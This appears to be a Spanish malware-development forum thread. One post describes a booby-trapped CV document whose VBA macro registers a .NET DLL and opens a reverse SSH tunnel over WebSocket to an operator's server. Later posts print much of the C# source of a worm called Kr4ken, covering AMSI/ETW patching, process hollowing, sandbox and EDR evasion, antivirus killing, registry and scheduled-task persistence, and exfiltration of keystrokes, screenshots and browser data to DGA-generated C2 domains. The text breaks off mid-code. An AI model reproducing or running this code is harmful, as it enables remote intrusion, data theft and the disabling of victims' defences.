Partamos de una premisa bastante realista: muchas empresas están abiertas a recibir CVs de candidatos, y los departamentos de RRHH no suelen estar especialmente enfocados en seguridad informática.

¿Qué pasaría si ese CV, aparentemente legítimo, estuviera “preparado” para hacer algo más que presentarte como candidato?
Para sorpresa (o desgracia) de muchos, Microsoft Office sigue soportando a día de hoy VBA embebido en documentos como Word o Excel. Esto abre la puerta a un vector de ataque tan simple como efectivo: enviar un CV en formato Word aparentemente inofensivo y esperar a que alguien lo abra.

A partir de ahí, empieza la parte interesante.

Nota: Este proyecto tiene fines exclusivamente educativos y de investigación en el ámbito de la ciberseguridad. El autor no se hace responsable del uso indebido o malintencionado que pueda realizarse del mismo.

La idea no es la típica reverse shell ruidosa, sino algo bastante más elegante: establecer un túnel SSH inverso encapsulado dentro de tráfico WebSocket (WSS), de forma que toda la comunicación salga como si fuera tráfico HTTPS legítimo.

El flujo arranca en cuanto se abre el documento. La macro no hace nada especialmente complejo por sí misma, pero sí actúa como launcher:
   •   Registra una DLL .NET mediante RegAsm
   •   Invoca un método expuesto vía COM (StartDefault)

Este punto es clave: VBA se utiliza únicamente como puerta de entrada, mientras que toda la lógica real se delega en código .NET, mucho más flexible y potente.

Una vez dentro de la DLL, comienza el flujo principal:

1. Generación de clave SSH
Si no existe previamente, se crea un par de claves ed25519 en:
C:\ProgramData\SshReverseTunnel\ssh\
Esto permite autenticación sin contraseña y, además, introduce cierta persistencia, ya que la clave se reutiliza en ejecuciones posteriores.

2. Registro de la clave en el servidor
El cliente envía su clave pública a un endpoint:
/api/register-key
El servidor la añade a authorized_keys, permitiendo que ese cliente pueda autenticarse automáticamente contra su servicio SSH.

3. Creación del canal encubierto (WSS)
Aquí es donde la técnica se vuelve realmente interesante.
En lugar de conectar directamente por SSH al servidor remoto, el cliente levanta un listener local:
127.0.0.1:2222
Sin embargo, este puerto no es un servidor SSH real, sino un proxy TCP que encapsula el tráfico dentro de WebSocket seguro (WSS) hacia:
wss://mi-servidor.com/tunnel
(en un escenario real, típicamente asociado a un dominio dinámico)

El flujo real sería:
Código:
ssh.exe → localhost:2222 → WebSocket (WSS) → servidor → SSH real

4. Establecimiento del túnel SSH
Con el proxy en marcha, se lanza OpenSSH:
Código:
ssh -N -p 2222 -R 9000:127.0.0.1:22 usuario@127.0.0.1
Aquí está el truco:
•   -p 2222 → conecta contra el proxy local
•   El tráfico termina realmente en el SSH del servidor
•   Todo el canal SSH viaja encapsulado dentro de WSS
Una vez autenticado, se negocia el reverse tunnel:
Código:
-R 9000:127.0.0.1:22

Esto provoca que, en el servidor, se abra:
localhost:9000 → redirige al SSH de la víctima

5. Resultado final
Desde el lado del operador, el acceso es trivial:
Código:
ssh -p 9000 usuario@localhost
Y eso termina abriendo una sesión SSH directamente contra la máquina víctima, como si estuviera expuesta en la red local.

Muy bien, ¿y cuál sería entonces el procedimiento?
Lo primero sería redactar un CV falso (eso lo dejo a la imaginación del querido lector), y después sería necesario guardarlo como documento .docm.

En este documento guardamos nuestro launcher:

Código:
Option Explicit

Private Const DLL_NAME As String = "SshReverseTunnel.dll"
Private Const PROG_ID As String = "SshReverseTunnel.SshReverseTunnel"

Sub RegisterAndRun()
    Dim dllPath     As String
    Dim regAsmPath  As String
    Dim cmd         As String
    Dim rc          As Long
    Dim obj         As Object
    Dim sh          As Object
    Dim ex          As Object
    
    dllPath = ThisDocument.Path & "\" & DLL_NAME
    regAsmPath = GetRegAsmPath()
    
    If Dir(dllPath) = "" Then
        Exit Sub
    End If
    
    If Dir(regAsmPath) = "" Then
        Exit Sub
    End If
    
    Set sh = CreateObject("WScript.Shell")
    cmd = """" & regAsmPath & """ """ & dllPath & """ /codebase"
    Set ex = sh.Exec(cmd)
    
    Do While ex.Status = 0
        DoEvents
    Loop
    
    rc = ex.ExitCode
    If rc <> 0 Then
        Exit Sub
    End If
    
    Set obj = CreateObject(PROG_ID)
    If obj Is Nothing Then
        Exit Sub
    End If
    
    obj.StartDefault
    Exit Sub
End Sub

Function GetRegAsmPath() As String
    #If Win64 Then
        GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
    #Else
        GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    #End If
End Function

Este launcher actúa como puente entre el documento y una DLL externa. En un poco más de detalle:

1.Localiza recursos

Construye la ruta de la DLL (SshReverseTunnel.dll) en la misma carpeta del documento.
Obtiene la ruta de RegAsm.exe (según si el sistema es 32 o 64 bits).

2. Verifica que todo exista
Si no encuentra la DLL o RegAsm, se detiene sin hacer nada.

3. Registra la DLL como COM
Ejecuta RegAsm.exe con /codebase, lo que permite registrar la DLL directamente desde su ubicación actual.
Espera a que el proceso termine y comprueba que no haya errores.

4. Crea el objeto
Usa CreateObject("SshReverseTunnel.SshReverseTunnel") para instanciar la clase definida en la DLL.

5. Ejecuta la funcionalidad
Llama al método StartDefault, que es donde realmente está la lógica (en la DLL, no en la macro).
6  Seguridad Informática / Análisis y Diseño de Malware / Re: Kr4ken - El Kraken ha sido liberado! en: 19 Abril 2026, 01:45 am
Código:
        // ====================== EXFILTRATION (HTTPS + Jitter) ======================
        private static class Exfiltration {
            private static readonly string[] UserAgents =
            {
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0"
            };

            public static void StartExfilLoop() {
                Timer timer = new Timer(EXFIL_INTERVAL.TotalMilliseconds);
                timer.Elapsed += async (s, e) => await CollectAndExfil();
                timer.Start();
            }

            private static async Task CollectAndExfil() {
                if (encryptionKey == null || _c2Servers.Count == 0) return;

                byte[] data = CollectData();
                if (data.Length < 2048) return;

                byte[] encrypted = AesEncryptPBKDF2(data, encryptionKey);

                int jitter = new Random().Next(15000, 120000);
                await Task.Delay(jitter);

                using var client = CreateHttpClient();
                var servers = _c2Servers.ToList();
                foreach (var server in servers) {
                    try {
                        string url = server.Url.Replace("http://", "https://");
                        var content = new ByteArrayContent(encrypted);
                        content.Headers.ContentType = new System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream");

                        var response = await client.PostAsync(url, content);
                        if (response.IsSuccessStatusCode) {
                            server.RetryCount = 0;
                            server.LastAttempt = DateTime.Now;
                            return;
                        }
                    } catch {
                        server.RetryCount++;
                        if (server.RetryCount >= 5)
                            _c2Servers.Remove(server);
                    }

                    await Task.Delay(new Random().Next(8000, 25000));
                }

                if (_c2Servers.Count == 0)
                    InitializeC2Servers();
            }

            private static HttpClient CreateHttpClient() {
                var client = new HttpClient { Timeout = TimeSpan.FromMinutes(6) };
                client.DefaultRequestHeaders.UserAgent.ParseAdd(UserAgents[new Random().Next(UserAgents.Length)]);
                return client;
            }

            private static byte[] CollectData() {
                string temp = Path.GetTempPath();
                List<byte> all = new List<byte>();

                // Keys y clipboard
                foreach (string f in new[] { "keys.txt", "clipboard.txt" }) {
                    string p = Path.Combine(temp, f);
                    if (File.Exists(p)) {
                        all.AddRange(File.ReadAllBytes(p));
                        File.Delete(p);
                    }
                }

                // Screenshots
                string scrDir = Path.Combine(temp, "screenshots");
                if (Directory.Exists(scrDir)) {
                    foreach (string file in Directory.GetFiles(scrDir, "scr_*.jpg")) {
                        all.AddRange(File.ReadAllBytes(file));
                        if (all.Count > 50 * 1024 * 1024) break;
                    }
                }

                // Browser data
                string browserDir = Path.Combine(temp, "browser");
                if (Directory.Exists(browserDir)) {
                    all.AddRange(CompressDirectory(browserDir));
                    Directory.Delete(browserDir, true);
                }

                return all.ToArray();
            }

            private static byte[] CompressDirectory(string dir) {
                using var ms = new MemoryStream();
                using (var zip = new ZipArchive(ms, ZipArchiveMode.Create)) {
                    foreach (string file in Directory.GetFiles(dir, "*.*", SearchOption.AllDirectories)) {
                        if (new FileInfo(file).Length < 10 * 1024 * 1024)
                            zip.CreateEntryFromFile(file, Path.GetRelativePath(dir, file));
                    }
                }
                return ms.ToArray();
            }

            private static byte[] AesEncryptPBKDF2(byte[] data, byte[] key) {
                using var aes = Aes.Create();
                aes.KeySize = AES_KEY_SIZE;
                aes.Mode = CipherMode.CBC;

                byte[] salt = new byte[16];
                RandomNumberGenerator.Fill(salt);

                using var derive = new Rfc2898DeriveBytes(key, salt, PBKDF2_ITERATIONS, HashAlgorithmName.SHA256);
                aes.Key = derive.GetBytes(AES_KEY_SIZE / 8);
                aes.IV = derive.GetBytes(AES_BLOCK_SIZE / 8);

                using var ms = new MemoryStream();
                using (var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
                    cs.Write(data, 0, data.Length);

                return salt.Concat(ms.ToArray()).ToArray();
            }
        }
    }
}
7  Seguridad Informática / Análisis y Diseño de Malware / Re: Kr4ken - El Kraken ha sido liberado! en: 19 Abril 2026, 01:43 am
Kr4ken.cs
Código:
///
///____ __.              __
///|    |/ _ | ___________ |  | __ ____ ____  
///|      < \_  __ \__  \ |  |/ // __ \ /    \
///|    |  \ |  | \// __ \|    <\  ___/|   |  \
///|____|__ \|__|  (____  /__|_ \\___  >___|  /
///        \/           \/     \/    \/     \/
///
/// The Kraken has been released.
///

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Net.Http;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Timer = System.Timers.Timer;
using System.IO.Compression;
using Microsoft.Win32;
using System.Windows.Forms;
using System.Drawing;
using System.Drawing.Imaging;

namespace Kr4ken.Worm {
    class Kr4kenX {
        // ====================== CONFIGURATION ======================
        private static readonly string[] DGA_SEEDS = { "kr4ken", "worm", "payload", "exfil", "stealth" };

        private const string PBKDF2_PASSWORD = "Kr4kenX_Production_2026";
        private const int PBKDF2_ITERATIONS = 100000;
        private const int AES_KEY_SIZE = 256;
        private const int AES_BLOCK_SIZE = 128;

        private static readonly TimeSpan EXFIL_INTERVAL = TimeSpan.FromMinutes(35);
        private static readonly TimeSpan KEYLOG_BUFFER_THRESHOLD = TimeSpan.FromSeconds(6);
        private static readonly TimeSpan WATCHDOG_CHECK_INTERVAL = TimeSpan.FromSeconds(20);

        private static string malwarePath = string.Empty;
        private static string machineId = string.Empty;
        private static byte[]? encryptionKey = null;

        private static readonly List<C2Server> _c2Servers = new List<C2Server>();

        private class C2Server {
            public string Url { get; set; }
            public int RetryCount { get; set; }
            public DateTime LastAttempt { get; set; }

            public C2Server(string url) {
                Url = url;
                RetryCount = 0;
                LastAttempt = DateTime.MinValue;
            }
        }

        // ====================== KEYBOARD HOOK ======================
        private delegate int HookProc(int nCode, IntPtr wParam, IntPtr lParam);
        private static HookProc? keyProc;
        private static IntPtr keyHook = IntPtr.Zero;
        private static DateTime _lastKeyLogWrite = DateTime.MinValue;

        private static readonly StringBuilder _keyLogBuffer = new StringBuilder(8192);
        private static readonly object _bufferLock = new object();

        [STAThread]
        static void Main() {
            try {
                if (AntiAnalysis.IsSandbox()) {
                    LogDiagnostic("Sandbox detected - exiting");
                    Thread.Sleep(45000);
                    Environment.Exit(0);
                }

                malwarePath = Assembly.GetExecutingAssembly().Location;
                machineId = AntiAnalysis.GetMachineSignature();
                encryptionKey = DeriveEncryptionKey(machineId);

                BypassAMSIAdvanced();
                BypassETW();

                InitializeC2Servers();

                Persistence.EstablishMultiLayer(malwarePath);
                AntiAnalysis.KillDefenderAndAV();
                Propagation.InfectUSBDrives();

                if (ProcessHollowing.Execute(malwarePath)) {
                    LogDiagnostic("Process hollowing successful - exiting");
                    Environment.Exit(0);
                }

                Payloads.StartAll();
                Exfiltration.StartExfilLoop();
                Persistence.StartWatchdog(malwarePath);

                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run();
            } catch (Exception ex) {
                LogDiagnostic($"Critical failure: {ex.Message}");
                Thread.Sleep(30000);
                Environment.Exit(1);
            }
        }

        // ====================== ENCRYPTION ======================
        private static byte[] DeriveEncryptionKey(string machineSignature) {
            try {
                using var derive = new Rfc2898DeriveBytes(
                    PBKDF2_PASSWORD + machineSignature,
                    Encoding.UTF8.GetBytes("Kr4kenSalt2026"),
                    PBKDF2_ITERATIONS,
                    HashAlgorithmName.SHA256);
                return derive.GetBytes(AES_KEY_SIZE / 8);
            } catch {
                return Encoding.UTF8.GetBytes(PBKDF2_PASSWORD);
            }
        }

        private static void LogDiagnostic(string message) {
            try {
                string logPath = Path.Combine(Path.GetTempPath(), "diag.tmp");
                File.AppendAllText(logPath, $"[{DateTime.UtcNow:yyyy-MM-dd HH:mm:ss}] {message}\n");
            } catch { }
        }

        private static bool IsAdministrator() {
            try {
                using var identity = System.Security.Principal.WindowsIdentity.GetCurrent();
                return new System.Security.Principal.WindowsPrincipal(identity)
                    .IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator);
            } catch { return false; }
        }

        // ====================== C2 + DGA ======================
        private static void InitializeC2Servers() {
            _c2Servers.Clear();
            foreach (var domain in GenerateDGADomains())
                _c2Servers.Add(new C2Server($"http://{domain}/upload"));

            LogDiagnostic($"Initialized {_c2Servers.Count} DGA domains");
        }

        private static List<string> GenerateDGADomains() {
            var domains = new List<string>();
            string date = DateTime.UtcNow.ToString("yyyyMMdd");

            foreach (var seed in DGA_SEEDS) {
                for (int i = 0; i < 6; i++) {
                    string input = $"{seed}{date}{i}{machineId}";
                    string hash = GetShortHash(input);
                    domains.Add($"{seed}{hash}.{GetTLD(i)}");
                }
            }
            return domains;
        }

        private static string GetShortHash(string input) {
            using var sha = SHA256.Create();
            var hash = sha.ComputeHash(Encoding.UTF8.GetBytes(input));
            return BitConverter.ToString(hash, 0, 6).Replace("-", "").ToLower();
        }

        private static string GetTLD(int index) {
            string[] tlds = { "com", "net", "org", "xyz", "top", "io", "app" };
            return tlds[index % tlds.Length];
        }

        // ====================== EVASION ======================
        private static void BypassAMSIAdvanced() {
            try {
                IntPtr amsi = LoadLibrary("amsi.dll");
                if (amsi == IntPtr.Zero) return;
                IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");
                if (addr == IntPtr.Zero) return;

                byte[] patch = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
                uint old = 0;
                VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out old);
                Marshal.Copy(patch, 0, addr, patch.Length);
                VirtualProtect(addr, (UIntPtr)patch.Length, old, out _);
            } catch { }
        }

        private static void BypassETW() {
            try {
                IntPtr ntdll = LoadLibrary("ntdll.dll");
                if (ntdll == IntPtr.Zero) return;
                IntPtr addr = GetProcAddress(ntdll, "NtTraceEvent");
                if (addr == IntPtr.Zero) return;

                byte[] patch = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
                uint old = 0;
                VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out old);
                Marshal.Copy(patch, 0, addr, patch.Length);
                VirtualProtect(addr, (UIntPtr)patch.Length, old, out _);
            } catch { }
        }

        // ====================== P/INVOKE SHARED ======================
        [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr LoadLibrary(string lpFileName);
        [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
        [DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        // ====================== PROCESS HOLLOWING ======================
        private static class ProcessHollowing {
            public static bool Execute(string payloadPath) {
                try {
                    byte[] payload = File.ReadAllBytes(payloadPath);
                    string[] targets = { @"C:\Windows\System32\svchost.exe", @"C:\Windows\System32\conhost.exe", "explorer.exe" };

                    foreach (var target in targets) {
                        if (CreateSuspendedProcess(target, out var pi)) {
                            if (OverwriteAndRun(pi, payload)) {
                                ResumeAndClean(pi);
                                LogDiagnostic($"Process hollowing successful on {target}");
                                return true;
                            }
                            SafeTerminate(pi);
                        }
                    }
                    return false;
                } catch (Exception ex) {
                    LogDiagnostic($"Hollowing failed: {ex.Message}");
                    return false;
                }
            }

            private static bool CreateSuspendedProcess(string target, out PROCESS_INFORMATION pi) {
                var si = new STARTUPINFO { cb = Marshal.SizeOf<STARTUPINFO>() };
                pi = new PROCESS_INFORMATION();
                return CreateProcess(target, null, IntPtr.Zero, IntPtr.Zero, false,
                    CreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
            }

            private static bool OverwriteAndRun(PROCESS_INFORMATION pi, byte[] payload) {
                try {
                    PROCESS_BASIC_INFORMATION pbi = new();
                    NtQueryInformationProcess(pi.hProcess, 0, ref pbi, (uint)Marshal.SizeOf(pbi), out _);

                    IntPtr pebImageBaseAddr = pbi.PebBaseAddress + 0x10;
                    byte[] baseBuf = new byte[8];
                    ReadProcessMemory(pi.hProcess, pebImageBaseAddr, baseBuf, 8, out _);
                    IntPtr originalBase = (IntPtr)BitConverter.ToInt64(baseBuf, 0);

                    uint peHeaderOffset = BitConverter.ToUInt32(payload, 0x3C);
                    uint sizeOfImage = BitConverter.ToUInt32(payload, (int)peHeaderOffset + 0x50);
                    uint entryPointRVA = BitConverter.ToUInt32(payload, (int)peHeaderOffset + 0x28);
                    ushort numSections = BitConverter.ToUInt16(payload, (int)peHeaderOffset + 6);

                    IntPtr sectionHandle = IntPtr.Zero;
                    LARGE_INTEGER sectionSize = new() { QuadPart = sizeOfImage };

                    uint status = NtCreateSection(ref sectionHandle, SECTION_ALL_ACCESS, IntPtr.Zero,
                        ref sectionSize, PAGE_EXECUTE_READWRITE, SEC_IMAGE | SEC_COMMIT, IntPtr.Zero);

                    if (status != 0) return false;

                    IntPtr allocated = IntPtr.Zero;
                    uint viewSize = 0;
                    status = NtMapViewOfSection(sectionHandle, pi.hProcess, ref allocated,
                        IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref viewSize, 2, 0, PAGE_EXECUTE_READWRITE);

                    if (status != 0 || allocated == IntPtr.Zero) {
                        NtClose(sectionHandle);
                        return false;
                    }

                    uint headerSize = peHeaderOffset + 0xF8u + (uint)(numSections * 0x28);
                    WriteProcessMemory(pi.hProcess, allocated, payload, headerSize, out _);

                    for (int i = 0; i < numSections; i++) {
                        int sectionOffset = (int)peHeaderOffset + 0xF8 + (i * 0x28);
                        uint virtualAddress = BitConverter.ToUInt32(payload, sectionOffset + 0x0C);
                        uint rawSize = BitConverter.ToUInt32(payload, sectionOffset + 0x10);
                        uint rawAddress = BitConverter.ToUInt32(payload, sectionOffset + 0x14);

                        if (rawSize == 0) continue;

                        IntPtr sectionDest = allocated + (int)virtualAddress;
                        byte[] sectionData = new byte[rawSize];
                        Array.Copy(payload, (int)rawAddress, sectionData, 0, (int)rawSize);
                        WriteProcessMemory(pi.hProcess, sectionDest, sectionData, rawSize, out _);
                    }

                    WriteProcessMemory(pi.hProcess, pebImageBaseAddr, BitConverter.GetBytes(allocated.ToInt64()), 8, out _);

                    CONTEXT ctx = new() { ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL };
                    GetThreadContext(pi.hThread, ref ctx);
                    ctx.Rip = (ulong)(allocated.ToInt64() + entryPointRVA);
                    SetThreadContext(pi.hThread, ref ctx);

                    uint oldProtect;
                    VirtualProtectEx(pi.hProcess, allocated, (UIntPtr)sizeOfImage, PAGE_EXECUTE_READ, out oldProtect);

                    NtClose(sectionHandle);
                    return true;
                } catch { return false; }
            }

            private static void SafeTerminate(PROCESS_INFORMATION pi) {
                try { TerminateProcess(pi.hProcess, 0); } catch { }
                try { CloseHandle(pi.hProcess); } catch { }
                try { CloseHandle(pi.hThread); } catch { }
            }

            private static void ResumeAndClean(PROCESS_INFORMATION pi) {
                try { ResumeThread(pi.hThread); } catch { }
                try { CloseHandle(pi.hProcess); } catch { }
                try { CloseHandle(pi.hThread); } catch { }
            }

            private const uint SECTION_ALL_ACCESS = 0xF001F;
            private const uint SEC_COMMIT = 0x08000000;
            private const uint SEC_IMAGE = 0x01000000;
            private const uint PAGE_EXECUTE_READWRITE = 0x40;
            private const uint PAGE_EXECUTE_READ = 0x20;

            [DllImport("ntdll.dll")] private static extern uint NtCreateSection(ref IntPtr sectionHandle, uint desiredAccess, IntPtr objectAttributes, ref LARGE_INTEGER maximumSize, uint sectionPageProtection, uint allocationAttributes, IntPtr fileHandle);
            [DllImport("ntdll.dll")] private static extern uint NtMapViewOfSection(IntPtr sectionHandle, IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, IntPtr commitSize, IntPtr sectionOffset, ref uint viewSize, uint inheritDisposition, uint allocationType, uint win32Protect);
            [DllImport("ntdll.dll")] private static extern uint NtClose(IntPtr handle);
            [DllImport("kernel32.dll", SetLastError = true)] private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
            [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CreateProcess(string lpApplicationName, string? lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string? lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
            [DllImport("ntdll.dll")] private static extern uint NtQueryInformationProcess(IntPtr hProcess, int processInformationClass, ref PROCESS_BASIC_INFORMATION processInformation, uint processInformationLength, out uint returnLength);
            [DllImport("kernel32.dll")] private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);
            [DllImport("kernel32.dll")] private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
            [DllImport("kernel32.dll")] private static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
            [DllImport("kernel32.dll")] private static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
            [DllImport("kernel32.dll")] private static extern uint ResumeThread(IntPtr hThread);
            [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hObject);
            [DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpOldProtect);

            [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; }
            [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; }
            [StructLayout(LayoutKind.Sequential)] public struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebBaseAddress; public IntPtr Reserved2_0; public IntPtr Reserved2_1; public IntPtr UniqueProcessId; public IntPtr Reserved3; }
            [StructLayout(LayoutKind.Sequential)] public struct CONTEXT { public CONTEXT_FLAGS ContextFlags; public ulong Rip; }
            [StructLayout(LayoutKind.Sequential)] public struct LARGE_INTEGER { public long QuadPart; }

            [Flags] public enum CreationFlags : uint { CREATE_SUSPENDED = 0x00000004 }
            [Flags] public enum CONTEXT_FLAGS : uint { CONTEXT_FULL = 0x10007 }
        }

        // ====================== ANTI-ANALYSIS (Reforzado) ======================
        private static class AntiAnalysis {
            public static bool IsSandbox() {
                LogDiagnostic("Starting reinforced anti-analysis...");

                if (Environment.ProcessorCount < 2 || !Environment.Is64BitProcess) return true;
                if (DetectSandboxUserOrHostname()) return true;
                if (DetectTimingAnomaly()) return true;
                if (DetectVirtualizationArtifacts()) return true;
                if (DetectHypervisor()) return true;
                if (DetectAnalysisTools()) return true;
                if (DetectSecurityProducts()) return true;
                if (IsBeingDebuggedAdvanced()) return true;
                if (DetectLowEntropyEnvironment()) return true;

                LogDiagnostic("Anti-analysis passed");
                return false;
            }

            private static bool DetectSandboxUserOrHostname() {
                string[] bad = { "sandbox", "test", "malware", "virus", "user", "john", "admin", "pc", "vm", "virtual" };
                string user = Environment.UserName.ToLower();
                string host = Environment.MachineName.ToLower();
                return bad.Any(n => user.Contains(n) || host.Contains(n));
            }

            private static bool DetectTimingAnomaly() {
                try {
                    long start = Stopwatch.GetTimestamp();
                    Thread.Sleep(420);
                    long elapsed = Stopwatch.GetTimestamp() - start;
                    return elapsed < 380000;
                } catch { return false; }
            }

            private static bool DetectVirtualizationArtifacts() {
                try {
                    var s = new ManagementObjectSearcher("SELECT Manufacturer, Model FROM Win32_ComputerSystem");
                    foreach (ManagementObject o in s.Get()) {
                        string m = (o["Manufacturer"]?.ToString() ?? "").ToLower();
                        string mod = (o["Model"]?.ToString() ?? "").ToLower();
                        if (m.Contains("vmware") || m.Contains("xen") || m.Contains("qemu") || mod.Contains("virtual") || mod.Contains("vbox"))
                            return true;
                    }
                } catch { }
                return false;
            }

            private static bool DetectHypervisor() {
                try {
                    var s = new ManagementObjectSearcher("SELECT HypervisorPresent FROM Win32_ComputerSystem");
                    foreach (ManagementObject o in s.Get())
                        if (o["HypervisorPresent"]?.ToString() == "True") return true;
                } catch { }
                return false;
            }

            private static bool DetectAnalysisTools() {
                string[] tools = { "x64dbg", "ida", "ghidra", "wireshark", "procmon", "ollydbg", "dnspy", "fiddler", "processhacker", "hxd" };
                return tools.Any(t => Process.GetProcessesByName(t).Length > 0);
            }

            private static bool DetectSecurityProducts() {
                string[] edr = { "MsMpEng", "Sense", "WdNisSvc", "CrowdStrike", "Falcon", "SentinelAgent", "CarbonBlack", "Cylance", "Sophos" };
                if (edr.Any(p => Process.GetProcessesByName(p).Length > 0)) return true;

                try {
                    using var k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows Defender\Features");
                    if (k?.GetValue("TamperProtection")?.ToString() == "1") return true;
                } catch { }
                return false;
            }

            private static bool IsBeingDebuggedAdvanced() {
                try { return Debugger.IsAttached || Debugger.IsLogging(); } catch { return false; }
            }

            private static bool DetectLowEntropyEnvironment() {
                try {
                    int programs = Directory.GetDirectories(@"C:\Program Files").Length + Directory.GetDirectories(@"C:\Program Files (x86)").Length;
                    if (programs < 15) return true;

                    string docs = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                    if (Directory.Exists(docs)) {
                        int recent = Directory.GetFiles(docs, "*.*", SearchOption.AllDirectories)
                            .Count(f => (DateTime.Now - new FileInfo(f).LastWriteTime).TotalDays < 30);
                        if (recent < 8) return true;
                    }
                } catch { }
                return false;
            }

            public static void KillDefenderAndAV() {
                string[] avs = { "MsMpEng", "Sense", "WdNisSvc", "Avast", "Norton", "Sophos", "Bitdefender", "ESET", "Kaspersky", "CrowdStrike", "Falcon" };
                foreach (var a in avs) {
                    try {
                        foreach (var p in Process.GetProcessesByName(a))
                            try { p.Kill(); } catch { }
                    } catch { }
                }

                try {
                    Registry.SetValue(@"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 1, RegistryValueKind.DWord);
                } catch { }
            }

            public static string GetMachineSignature() {
                try {
                    string cpu = "", mac = "";
                    using (var s = new ManagementObjectSearcher("SELECT ProcessorId FROM Win32_Processor"))
                        foreach (ManagementObject o in s.Get()) { cpu = o["ProcessorId"]?.ToString() ?? ""; if (!string.IsNullOrEmpty(cpu)) break; }

                    using (var s = new ManagementObjectSearcher("SELECT MACAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"))
                        foreach (ManagementObject o in s.Get()) { mac = o["MACAddress"]?.ToString() ?? ""; if (!string.IsNullOrEmpty(mac)) break; }

                    return string.IsNullOrEmpty(cpu) && string.IsNullOrEmpty(mac) ? Environment.MachineName : $"{cpu}_{mac}";
                } catch { return Environment.MachineName; }
            }
        }

        // ====================== PERSISTENCE ======================
        private static class Persistence {
            public static void EstablishMultiLayer(string path) {
                try {
                    bool isAdmin = IsAdministrator();

                    using (var k = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true))
                        k?.SetValue($"WindowsUpdate_{Guid.NewGuid().ToString("N")[..8]}", $"\"{path}\" /hidden");

                    if (isAdmin)
                        TrySetHKLMRun(path);

                    CreateHighPrivScheduledTask(path);

                    using (var k = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", true))
                        k?.SetValue($"Kr4ken_Once_{Guid.NewGuid().ToString("N")[..8]}", $"\"{path}\"");

                    LogDiagnostic("Multi-layer persistence established");
                } catch (Exception ex) { LogDiagnostic($"Persistence error: {ex.Message}"); }
            }

            private static bool TrySetHKLMRun(string path) {
                try {
                    using (var k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true)) {
                        if (k != null) {
                            k.SetValue($"WindowsDefenderUpdate_{Guid.NewGuid().ToString("N")[..8]}", $"\"{path}\"");
                            return true;
                        }
                    }
                } catch { }
                return false;
            }

            private static void CreateHighPrivScheduledTask(string path) {
                try {
                    string name = $"WindowsUpdateTask_{Guid.NewGuid().ToString("N")[..8]}";
                    string args = $"/Create /TN \"{name}\" /TR \"{path}\" /SC ONLOGON /RL HIGHEST /F /RU SYSTEM";

                    var psi = new ProcessStartInfo("schtasks.exe", args) { UseShellExecute = true, Verb = "runas", CreateNoWindow = true };
                    using var p = Process.Start(psi);
                    p?.WaitForExit(12000);
                } catch { CreateNormalScheduledTask(path); }
            }

            private static void CreateNormalScheduledTask(string path) {
                try {
                    string name = $"WindowsUpdateTask_{Guid.NewGuid().ToString("N")[..8]}";
                    string args = $"/Create /TN \"{name}\" /TR \"{path}\" /SC ONLOGON /RL HIGHEST /F";
                    var p = Process.Start("schtasks.exe", args);
                    p?.WaitForExit(8000);
                } catch { }
            }

            public static void StartWatchdog(string path) {
